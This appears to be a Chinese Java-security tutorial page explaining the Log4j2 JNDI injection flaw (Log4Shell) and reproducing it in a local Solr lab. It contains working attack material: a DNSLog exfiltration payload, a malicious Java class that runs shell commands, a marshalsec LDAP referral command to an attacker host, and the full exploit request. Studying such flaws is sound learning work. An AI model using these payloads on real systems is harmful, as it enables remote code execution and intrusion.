Java安全
Java 基础知识
01概述
02变量
03运算符
04程序控制语句
05数组
06面向对象编程
07代码练习
08重载
09作用域
10构造方法&构造器
11this
12包
13修饰符
14封装
15继承
16super
17覆盖&重写
18多态
19零钱通项目
20类变量&类方法
21抽象类
22接口
23内部类
24枚举
25泛型
26常用API
27lambda表达式
28正则表达式
29异常
30File&IO流
31日志技术
32多线程
33网络编程
01反射
02反序列化
03JVM
04JDBC
05RMI
06JRMP
07JNDI
08CDI
09JPA
10Servlet
11Filter
12MVC模型
13MVC框架
14类的加载机制
15Maven
16注解
17ORM
18CC链
19JNDI注入
Log4j2
-
+
首页
Log4j2
## 概述 Log4j 是 Apache 软件基金会下的一个开源日志记录框架,专为 Java 应用程序设计。 Log4j 提供了灵活的日志记录功能,允许开发者控制日志信息的输出格式、级别和目标位置。 Apache Log4j 2 是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进。 ## 漏洞版本 2.0 <= Apache log4j2 <= 2.14.1 ## 漏洞原理 利用方式: ```java package log4j; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4j { public static final Logger logger = LogManager.getLogger(Log4j.class) public static void main(String[] args){ logger.info("${jndi:ldap://127.0.0.1:1099/Evil}"); } } ``` log4j2的漏洞主要出现在 org.apache.logging.log4j.core.lookup.StrSubstitutor类上。 该类会先对${进行匹配:  然后再提取尾部的},以此来提取内部的值,传递给变量,prefix="jndi:ldap://111.230.38.159:389/EvilObj"  然后会进入resolveVariable来触发lookup方法:resolveVariable方法会尝试解析变量,变量解析器会将变量的字符串解析为值,传递给lookup。  lookup方法: 会匹配提取出前面的JNDI信息,var变量为jndi:ldap://111.230.38.159:389/EvilObj,prefix变量=jndi,   再后面,调用了jndi.lookup函数:   再追进jndi.lookup方法:继续调用了jndiManager.lookup函数。   再追jndiManager.lookup方法:访问了真正的InitialContext    this.context = InitialContext。 ## 漏洞复现 1、启动容器、访问靶场。   2、在/solr/admin/cores?有个参数可以传,这就是个注入点,试试能不能输出java版本,构造payload。 ```url http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.n4df91.dnslog.cn} ``` DNSLog平台地址:http://dnslog.cn/  3、构造恶意java文件,且编译为class文件。 ```java import java.lang.Runtime; import java.lang.Process; public class Evil { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/maolin"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } ```  4、本地开启http服务。  5、模拟LDAP服务: ```cmd java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.4:8000/#Evil" 9999 ```  6、发送完整的payload请求。 ```url http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://192.168.1.4:9999/Evil} ```  写入成功。  7、查看日志记录:   一键工具:JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 或 JNDIExploit-1.4-SNAPSHOT.jar
毛林
2025年11月1日 14:15
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码